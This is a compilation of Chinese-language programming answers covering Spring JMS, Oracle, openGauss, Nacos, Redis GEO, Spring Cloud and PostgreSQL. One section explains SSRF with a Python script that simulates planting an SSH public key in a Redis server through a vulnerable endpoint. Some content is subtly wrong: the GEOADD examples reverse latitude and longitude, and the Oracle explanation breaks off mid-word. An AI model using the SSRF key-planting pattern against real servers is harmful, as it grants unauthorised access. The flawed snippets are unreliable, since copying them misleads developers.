2024-09-04



import org.springframework.jms.annotation.JmsListener;
import org.springframework.stereotype.Component;
import javax.jms.JMSException;
import javax.jms.TextMessage;
 
@Component
public class JMSReceiver {
 
    @JmsListener(destination = "your.queue.name", containerFactory = "jmsListenerContainerFactory")
    public void receiveMessage(TextMessage message) throws JMSException {
        System.out.println("Received message: " + message.getText());
    }
}

在上述代码中,我们定义了一个JMSReceiver组件,它使用@JmsListener注解来监听指定的队列。每当有消息到达该队列时,receiveMessage方法将被自动调用,并打印出接收到的消息内容。

确保在application.propertiesapplication.yml中配置了ActiveMQ的连接信息,例如:




# application.properties
spring.activemq.broker-url=tcp://localhost:61616
spring.activemq.user=admin
spring.activemq.password=admin

或者在YAML格式的配置文件中:




# application.yml
spring:
  activemq:
    broker-url: tcp://localhost:61616
    user: admin
    password: admin

以及JMS监听容器工厂配置:




import org.apache.activemq.ActiveMQConnectionFactory;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.jms.config.DefaultJmsListenerContainerFactory;
import org.springframework.jms.config.JmsListenerContainerFactory;
 
@Configuration
public class JMSConfig {
 
    @Bean
    public ActiveMQConnectionFactory connectionFactory() {
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory();
        connectionFactory.setBrokerURL("tcp://localhost:61616");
        connectionFactory.setUserName("admin");
        connectionFactory.setPassword("admin");
        return connectionFactory;
    }
 
    @Bean
    public JmsListenerContainerFactory<?> jmsListenerContainerFactory(ActiveMQConnectionFactory connectionFactory) {
        DefaultJmsListenerContainerFactory factory = new DefaultJmsListenerContainerFactory();
        factory.setConnectionFactory(connectionFactory);
        factory.setConcurrency("1-10");
        return factory;
    }
}

在这个配置中,我们定义了一个JmsListenerContainerFactory,它使用了我们提供的ActiveMQ连接工厂。这样,我们就可以在@JmsListener注解中引用这个工厂来配置消息监听器了。

2024-09-04

在Oracle数据库中,创建一个名为DIM\_DATE的表通常用于数据仓库环境中,存储日期维度信息,如年、季度、月份、星期等。以下是一个使用PL/SQL函数来生成DIM\_DATE表的例子:




CREATE TABLE DIM_DATE (
  DATE_SK NUMBER NOT NULL,
  DATE_ID VARCHAR2(30) NOT NULL,
  CALENDAR_YEAR NUMBER,
  MONTH_OF_YEAR NUMBER,
  QUARTER NUMBER,
  WEEK_OF_YEAR NUMBER,
  DAY_OF_MONTH NUMBER,
  DAY_OF_WEEK NUMBER,
  IS_WEEKEND CHAR(1),
  CONSTRAINT PK_DIM_DATE PRIMARY KEY (DATE_SK)
);
/
 
CREATE OR REPLACE FUNCTION generate_dim_date_rows (
  start_date DATE, 
  end_date DATE
) RETURN NUMBER IS
  v_date DATE := start_date;
  v_date_sk NUMBER := 1;
BEGIN
  INSERT INTO DIM_DATE (DATE_SK, DATE_ID, CALENDAR_YEAR, MONTH_OF_YEAR, QUARTER, WEEK_OF_YEAR, DAY_OF_MONTH, DAY_OF_WEEK, IS_WEEKEND)
  VALUES (v_date_sk, TO_CHAR(v_date, 'YYYYMMDD'), TO_NUMBER(TO_CHAR(v_date, 'YYYY')), 
          TO_NUMBER(TO_CHAR(v_date, 'MM')), TO_NUMBER(TO_CHAR(v_date, 'Q')), 
          TO_NUMBER(TO_CHAR(v_date, 'IW')), TO_NUMBER(TO_CHAR(v_date, 'DD')), 
          TO_NUMBER(TO_CHAR(v_date, 'D')), 
          CASE WHEN TO_CHAR(v_date, 'D') IN ('6', '7') THEN 'Y' ELSE 'N' END);
 
  WHILE v_date <= end_date LOOP
    v_date_sk := v_date_sk + 1;
    v_date := v_date + 1;
    INSERT INTO DIM_DATE (DATE_SK, DATE_ID, CALENDAR_YEAR, MONTH_OF_YEAR, QUARTER, WEEK_OF_YEAR, DAY_OF_MONTH, DAY_OF_WEEK, IS_WEEKEND)
    VALUES (v_date_sk, TO_CHAR(v_date, 'YYYYMMDD'), TO_NUMBER(TO_CHAR(v_date, 'YYYY')), 
            TO_NUMBER(TO_CHAR(v_date, 'MM')), TO_NUMBER(TO_CHAR(v_date, 'Q')), 
            TO_NUMBER(TO_CHAR(v_date, 'IW')), TO_NUMBER(TO_CHAR(v_date, 'DD')), 
            TO_NUMBER(TO_CHAR(v_date, 'D')), 
            CASE WHEN TO_CHAR(v_date, 'D') IN ('6', '7') THEN 'Y' ELSE 'N' END);
  END LOOP;
  COMMIT;
  RETURN v_date_sk;
END;
/
 
BEGIN
  DBMS_OUTPUT.PUT_LINE('Number of rows inserted: ' || generate_dim_date_rows(TO_DATE('2010-01-01', 'YYYY-MM-DD'), TO_DATE('2020-12-31', 'YYYY-MM-DD')));
END;
/

这段代码首先创建了一个名为DIM\_DATE的表,包含了不同的日期信息字段。然后,它定义了一个PL/SQL函数generate_dim_date_rows,该函数接受起始日期和结束日期作为参数,并生成这个时间范围内每一天的日期维度数据。函数中使用了TO

2024-09-04

由于提供的信息不足以完成一个具体的代码实例,以下是一个简单的Python示例,展示如何使用openGauss插件来执行DDL语句。




from openGauss import openGauss
 
# 创建连接
conn = openGauss.connect(
    host='your_host',
    port=5432,
    user='your_username',
    password='your_password',
    database='your_database'
)
 
# 创建游标对象
cursor = conn.cursor()
 
# 执行DDL语句,例如创建一个表
ddl_create_table = """
CREATE TABLE IF NOT EXISTS example_table (
    id INT PRIMARY KEY,
    name VARCHAR(100) NOT NULL
);
"""
 
try:
    # 执行DDL语句
    cursor.execute(ddl_create_table)
    
    # 提交事务
    conn.commit()
    
    print("表创建成功")
except Exception as e:
    print(f"表创建失败: {e}")
    conn.rollback()
 
# 关闭游标和连接
cursor.close()
conn.close()

在这个例子中,我们首先导入了openGauss模块,并创建了一个数据库连接。然后,我们创建了一个游标对象,用于执行SQL语句。接下来,我们定义了一个DDL语句来创建一个名为example_table的表,并尝试执行这个语句。如果操作成功,我们会提交事务;如果有异常发生,我们会回滚事务并打印错误信息。最后,我们关闭游标和连接,释放资源。

2024-09-04

在Spring Cloud Alibaba中使用Nacos作为服务注册中心,你需要做以下几步:

  1. 引入Spring Cloud Alibaba Nacos Discovery依赖。
  2. 在application.properties或application.yml文件中配置Nacos服务器地址。
  3. 使用@EnableDiscoveryClient注解启用服务注册发现。

以下是一个简单的示例:

pom.xml依赖(使用Maven):




<dependencies>
    <!-- Spring Cloud Alibaba Nacos Discovery -->
    <dependency>
        <groupId>com.alibaba.cloud</groupId>
        <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
    </dependency>
</dependencies>

application.yml配置:




spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8848 # Nacos服务器地址

启用服务注册:




import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
 
@SpringBootApplication
@EnableDiscoveryClient
public class NacosDiscoveryApplication {
    public static void main(String[] args) {
        SpringApplication.run(NacosDiscoveryApplication.class, args);
    }
}

启动应用程序后,它将自动注册到Nacos服务列表中。

2024-09-04

在Redis 7.0中,Geo 数据类型增加了一些新的命令和改进了现有的命令,以支持更复杂的地理空间操作。

Redis 7.0 中的地理位置数据类型可以存储经度和纬度,并对这些数据进行操作。

以下是一些基本的Geo操作:

  1. geoadd:将地理空间信息添加到指定的key。



geoadd cities:locations "New York" 40.7128 -74.0060 "Los Angeles" 34.0522 -118.2437 "Chicago" 41.8781 -87.6298
  1. geopos:获取key中一个或多个位置元素的经度和纬度。



geopos cities:locations "New York" "Los Angeles"
  1. geodist:获取两个位置之间的距离。



geodist cities:locations "New York" "Los Angeles"
  1. georadius:以给定的经纬度为中心,获取键包含的位置元素,这些元素的位置距离中心不超过给定的最大距离。



georadius cities:locations 40.7128 -74.0060 100 km WITHCOORD WITHDIST
  1. georadiusbymember:获取位于指定位置周围的元素,以该元素作为中心,并且该元素必须是键的成员。



georadiusbymember cities:locations "New York" 100 km WITHCOORD WITHDIST
  1. geohash:返回一组位置元素的Geohash表示。



geohash cities:locations "New York" "Los Angeles"
  1. zrange:当Geo集合的成员被移除时,可以使用ZRANGE命令来获取成员。



zrange cities:locations 0 -1
  1. zrem:移除Geo集合中的一个或多个成员。



zrem cities:locations "New York"

以上命令提供了地理位置信息的基本操作,Redis 7.0 还增加了一些新的参数和选项,以支持更复杂的地理查询和操作。

2024-09-04

Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性简化了分布式系统的开发,通过Spring Cloud的配置模式,开发者可以快速的实现服务治理。

Spring Cloud的核心组件包括:

  • Eureka:服务注册与发现。
  • Feign:服务调用。
  • Ribbon:客户端负载均衡。
  • Hystrix:服务容错保护。
  • Zuul:API网关。

以下是Spring Cloud的简单示例代码:

Eureka Server 配置:




@SpringBootApplication
@EnableEurekaServer
public class EurekaServerApplication {
    public static void main(String[] args) {
        SpringApplication.run(EurekaServerApplication.class, args);
    }
}

Eureka Client 配置:




@SpringBootApplication
@EnableEurekaClient
@RestController
public class EurekaClientApplication {
 
    @Value("${spring.application.name}")
    private String appName;
 
    @GetMapping("/")
    public String home() {
        return "Hello, this is " + appName;
    }
 
    public static void main(String[] args) {
        SpringApplication.run(EurekaClientApplication.class, args);
    }
}

Feign Client 配置:




@FeignClient("service-name")
public interface ServiceNameClient {
    @GetMapping("/")
    String home();
}

Ribbon 使用:




@RestController
public class RibbonController {
 
    @Autowired
    private RestTemplate restTemplate;
 
    @GetMapping("/call-service")
    public String callService() {
        return restTemplate.getForObject("http://SERVICE-NAME/", String.class);
    }
}

Hystrix 使用:




@HystrixCommand(fallbackMethod = "fallbackMethod")
public String getData() {
    // 调用服务逻辑
}
 
public String fallbackMethod() {
    // 当服务调用失败时,执行的逻辑
}

Zuul API Gateway 配置:




@SpringBootApplication
@EnableZuulProxy
public class ZuulApplication {
    public static void main(String[] args) {
        SpringApplication.run(ZuulApplication.class, args);
    }
}

这些代码片段展示了如何使用Spring Cloud的核心组件来构建一个简单的微服务系统。在实际应用中,你需要配置服务注册中心、服务提供者、服务消费者以及API网关的详细信息,并且可能需要结合Spring Cloud Config来管理配置,使用Spring Cloud Sleuth来进行调用链追踪等。

2024-09-04

SSRF (Server-Side Request Forgery) 是一种由攻击者构造发送给服务器的伪造请求的攻击方法。结合 Redis 写入公钥的行为,可能是攻击者通过 SSRF 攻击利用了服务器对 Redis 的请求转发。

以下是一个使用 Python 和 redis-py 库的示例代码,它模拟了攻击者通过 SSRF 向 Redis 服务器写入公钥的过程:




import requests
import redis
 
# 假设存在一个 SSRF 攻击点
ssrf_url = 'http://vulnerable-website.com/api/resource'
 
# 公钥内容
public_key = "ssh-rsa AAAAB3NzaC1y... user@example.com"
 
# 目标 Redis 服务器的地址和端口
redis_host = 'redis-server.example.com'
redis_port = 6379
 
# 使用 SSRF 攻击写入公钥到 Redis
resp = requests.get(ssrf_url, params={'host': redis_host, 'port': redis_port, 'key': 'public_key', 'value': public_key})
 
# 假设 Redis 服务器的配置允许从外部进行写操作
if resp.ok:
    print("公钥成功写入 Redis")
else:
    print("公钥写入 Redis 失败")

在实际的 SSRF 攻击场景中,攻击者需要首先发现有 SSRF 漏洞的服务端点,然后构造请求参数,通常包括目标 Redis 服务器的地址和端口、要写入的 key 和 value。

务必注意,上述代码仅为示例,实际应用中 SSRF 攻击是非常复杂且危险的,不应该通过编程方式进行模拟,而是需要采取防御措施,如使用安全的库、限制请求的来源、禁用外部的 HTTP 请求等。

2024-09-04

错误解释:

ORA-08002错误表示在当前会话中,尝试引用序列的CURRVAL(当前值)属性,但序列尚未在当前会话中定义或初始化。

解决方法:

  1. 确保在引用序列CURRVAL之前,已经引用过序列的NEXTVAL,因为NEXTVAL会初始化序列在当前会话中的值。例如,在查询之前先执行以下语句来获取下一个值:

    
    
    
    SELECT your_sequence.NEXTVAL FROM dual;
  2. 如果已经正确地初始化序列,但仍然遇到这个错误,可能是因为会话之间的上下文没有正确传递。确保不在事务中间更改序列,否则可能会导致序列在某一个会话中未定义。
  3. 如果是在一个复杂的应用中,确保任何操作序列的逻辑都被正确地封装,以保证序列在每次使用前都被正确初始化。
  4. 如果是在存储过程或包中,确保在引用CURRVAL之前,NEXTVAL已经被访问过。
  5. 如果是在分布式数据库环境中,确保所有相关的数据库实例都已经同步,序列的定义在所有会话中都是一致的。
2024-09-04



MERGE INTO target_table tgt
USING (SELECT :1 AS col1, :2 AS col2, :3 AS col3 FROM dual) src
ON (tgt.col1 = src.col1)
WHEN NOT MATCHED THEN
  INSERT (col1, col2, col3)
  VALUES (src.col1, src.col2, src.col3);

这段代码使用了Oracle的MERGE INTO语句来解决插入大量数据时性能问题。它通过使用绑定变量来提高效率,并且只在不存在匹配的情况下执行插入操作,从而减少不必要的插入,提高了数据插入的性能。这是一个通用的解决方案模板,可以根据实际情况调整列名和表名。

2024-09-04



-- 检查PostgreSQL数据库的运行状态
SELECT pg_is_in_recovery();
 
-- 查看数据库大小
SELECT pg_size_pretty(pg_database_size('数据库名'));
 
-- 查看所有表的大小
SELECT
    table_schema || '.' || table_name AS table_full_name,
    pg_size_pretty(pg_total_relation_size(quote_ident(table_schema) || '.' || quote_ident(table_name))) AS size
FROM
    information_schema.tables
ORDER BY
    pg_total_relation_size(quote_ident(table_schema) || '.' || quote_ident(table_name)) DESC;
 
-- 查看特定表的索引大小
SELECT
    indexname,
    pg_size_pretty(pg_relation_size(indexname)) as index_size
FROM
    (
        SELECT
            indexname = '表名' || '__' || indexrelname
        FROM
            pg_index,
            pg_class c
        WHERE
            c.relname ~ ('^' || '表名' || '__')
            AND pg_index.indexrelid = c.oid
            AND c.relkind = 'i'
    ) as subquery;
 
-- 查看特定表的索引和表的总大小
SELECT
    pg_size_pretty(pg_total_relation_size('表名')) as total_size;
 
-- 查看特定表的记录数
SELECT
    reltuples
FROM
    pg_class
WHERE
    relname = '表名';
 
-- 查看特定表的索引数
SELECT
    count(*)
FROM
    pg_index
WHERE
    indrelid = (SELECT oid FROM pg_class WHERE relname = '表名')
    AND indisprimary = false;

以上SQL语句提供了一些基本的运维操作,包括检查数据库的恢复状态、查看数据库大小、查看所有表的大小、查看特定表的索引大小、查看特定表的索引和表的总大小、查看特定表的记录数以及查看特定表的索引数。这些操作可以帮助数据库管理员进行日常的运维管理。